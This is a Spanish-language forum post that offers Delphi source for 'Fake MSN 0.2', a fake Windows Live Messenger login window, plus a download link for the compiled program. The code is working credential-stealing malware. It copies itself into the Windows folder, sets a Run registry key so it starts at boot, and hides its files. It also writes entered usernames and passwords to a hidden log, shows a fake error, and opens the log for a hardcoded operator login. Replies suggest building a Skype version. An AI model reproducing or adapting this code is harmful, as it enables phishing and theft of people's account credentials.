Aca les traigo la nueva version de este Fake MSN hecho en delphi.
Con las siguientes opciones :
- El programa al cargarse se mueve automaticamente a la carpeta de windows
- El programa se ejecuta cuando Windows se inicia
- Se ocultan los archivos relacionados al programa
- Con poner "doddy" en user y "hackman" en pass en el programa se cargan los logs ocultos
Una imagen
(http://doddyhackman.webcindario.com/images/msn.jpg)
El codigo
{
Fake MSN 0.2
Coded By Doddy H
}
unit fake;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, jpeg, ExtCtrls, StdCtrls, Registry;
type
TForm1 = class(TForm)
Image1: TImage;
Edit1: TEdit;
Edit2: TEdit;
Image2: TImage;
procedure Edit1Click(Sender: TObject);
procedure Edit2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Image2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Edit1Click(Sender: TObject);
begin
Edit1.Text := '';
end;
procedure TForm1.Edit2Click(Sender: TObject);
begin
Edit2.Text := '';
Edit2.PasswordChar := '*';
end;
procedure TForm1.FormCreate(Sender: TObject);
var nombrereal: string;
rutareal: string;
yalisto: string;
her: TRegistry;
begin
nombrereal := ExtractFileName(ParamStr(0));
rutareal := ParamStr(0);
yalisto := 'C:\WINDOWS\' + nombrereal;
MoveFile(Pchar(rutareal), Pchar(yalisto));
her := TRegistry.Create;
her.RootKey := HKEY_LOCAL_MACHINE;
her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
her.WriteString('uber', yalisto);
her.Free;
SetFileAttributes(PChar(yalisto), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);
end;
procedure TForm1.Image2Click(Sender: TObject);
var archivo: TextFile;
ruta: string;
begin
if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
begin
WinExec(PChar('notepad c:/windows/datos.txt'), SW_SHOW);
end
else
begin
if Edit1.Text = '' then
begin
ShowMessage('Escribe tu Id. de Window Live ID en este formato: tu nombre@ejemplo.com');
end;
if Edit2.Text = '' then
begin
ShowMessage('Escribe tu contraseña');
end
else
begin
if Edit2.Text = 'Escribe aqui tu contraseña' then
begin
ShowMessage('Escribe tu contraseña');
end
else
begin
ruta := 'c:/windows/datos.txt'; //mod
if FileExists(ruta) then
begin
AssignFile(archivo, ruta);
FileMode := fmOpenWrite;
Append(archivo);
Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text);
CloseFile(archivo);
Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK);
Form1.Close;
end
else
begin
AssignFile(archivo, ruta);
FileMode := fmOpenWrite;
ReWrite(archivo);
Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text);
CloseFile(archivo);
Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK);
Form1.Close;
end;
end;
end;
end;
end;
end.
// The End ?
Si quieren bajar el proyecto + el programa compilado lo pueden hacer de aca (https://sourceforge.net/projects/fakemsn/).
Cualquier sugerencia o error diganlo para mejorar (porque el programa en si no me convence xDD).
Deberías hacerlo para skype ahora que pasara a la historia.
esta muy guapo
si , me entere recien lo de skype xDD.